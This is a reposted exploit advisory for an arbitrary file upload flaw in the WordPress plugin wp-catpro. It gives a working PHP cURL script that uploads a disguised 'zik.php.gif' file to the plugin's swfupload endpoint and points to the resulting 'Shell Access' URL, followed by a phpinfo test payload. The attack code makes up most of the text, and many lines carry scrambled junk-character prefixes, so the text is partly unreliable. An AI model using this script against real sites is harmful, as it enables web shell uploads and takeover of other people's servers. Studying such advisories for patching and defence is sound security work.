WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

/ a; \# Z) ]* |) P& s5 y作者  => Zikou-16
$ z) g% @3 \' Q邮箱 => zikou16x@gmail.com
4 }6 _+ c3 M+ C测试系统 : Windows 7 , Backtrack 5r3
2 W* Z/ F# u% {# e下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 h0 F; I) P8 [8 S7 l. r####

' w/ u  e* W. F% Y/ b#=> Exploit 信息:
( y! R' U/ ]* E" t- G* O& I------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
0 a% G% L" R. i- E0 b& l. Z2 Y# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( w3 N# A# m* `2 \5 ~4 k+ Q* M------------------
9 z# }9 _$ {9 }! M0 \
9 _: W, J/ q& ]0 V#=> Exploit
-----------
7 V1 j6 D0 y8 e2 I1 j% U2 h+ m( U<?php
: E% Q9 q' K; d9 B
6 x  q" T+ P$ t5 u% N$uploadfile="zik.php.gif";
  g: F& T# |/ H  R: \" D$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
# L1 \: q# y3 R! t. D/ ncurl_setopt($ch, CURLOPT_POST, true);
+ I3 f( G& v9 S) n- |' e) ycurl_setopt($ch, CURLOPT_POSTFIELDS,
7 C3 J, K8 M" U7 ^# i& @array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ i5 I& }( P6 c4 O1 z4 ~0 C( h$postResult = curl_exec($ch);
9 M2 ~: }* B% kcurl_close($ch);

' ~/ m. U( h0 V! p7 M! \: aprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
, w, [4 i7 v! T- ^2 y$ J5 r<?php
phpinfo();
?>